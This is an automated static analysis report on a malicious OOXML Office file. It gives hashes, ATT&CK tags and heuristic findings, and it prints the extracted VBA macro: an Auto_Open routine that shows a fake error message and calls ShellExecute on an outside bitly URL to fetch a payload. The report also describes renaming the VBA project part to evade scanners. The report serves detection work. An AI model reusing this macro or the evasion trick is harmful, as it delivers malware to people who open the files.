Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 da7b242a5fac33fd…

MALICIOUS

Office (OOXML)

8.1 KB First seen: 2021-10-23
MD5: ba36220554ab830aad2ce4f4a0a2acb4 SHA-1: f54bb00c862d0f1f0e883e691a87da8285e1997b SHA-256: da7b242a5fac33fd8bc5ad7650f4e0a946b0b07c01a239d778ec289c63b5be18
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

This OOXML document contains a VBA macro that is automatically executed upon opening due to the presence of an Auto_Open subroutine. The macro utilizes CreateObject("Shell.Application") to execute a URL, which likely serves as a downloader for a second-stage payload. The URL 'https://www.bitly.com/ajdwwaskdorufhjwijjd' is the primary indicator of compromise.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/KODWKWDOKWD.B)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim objShell
        Set objShell = CreateObject("Shell.Application")
        Call objShell.ShellExecute(k1.k2.Tag, "https://www.bitly.com/ajdwwaskdorufhjwijjd", "", "open", 1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module11"
    Sub Auto_Open()
    MsgBox "Error!!"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/ajdwwaskdorufhjwijjd In document text (OOXML body / shared strings)
    • https://www.bitly.com/ajdwwaskdorufhjwijjd�In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 595 bytes
SHA-256: 331cb0b0be02127a367c3b8857629879ff0202bcd3789117071e4b975435949f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "k1"
Attribute VB_Base = "0{403E30EB-1C85-423B-8B50-3F8C1D2242B8}{AA7DE0A2-563F-48EA-9BA6-0747637603A6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Module11"
Sub Auto_Open()
MsgBox "Error!!"
    Dim objShell
    Set objShell = CreateObject("Shell.Application")
    Call objShell.ShellExecute(k1.k2.Tag, "https://www.bitly.com/ajdwwaskdorufhjwijjd", "", "open", 1)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/KODWKWDOKWD.B 18944 bytes
SHA-256: 257ac76d0958c2b19d7bf50bb227a0eab78648022ddd38905f3b0e2e1b09e360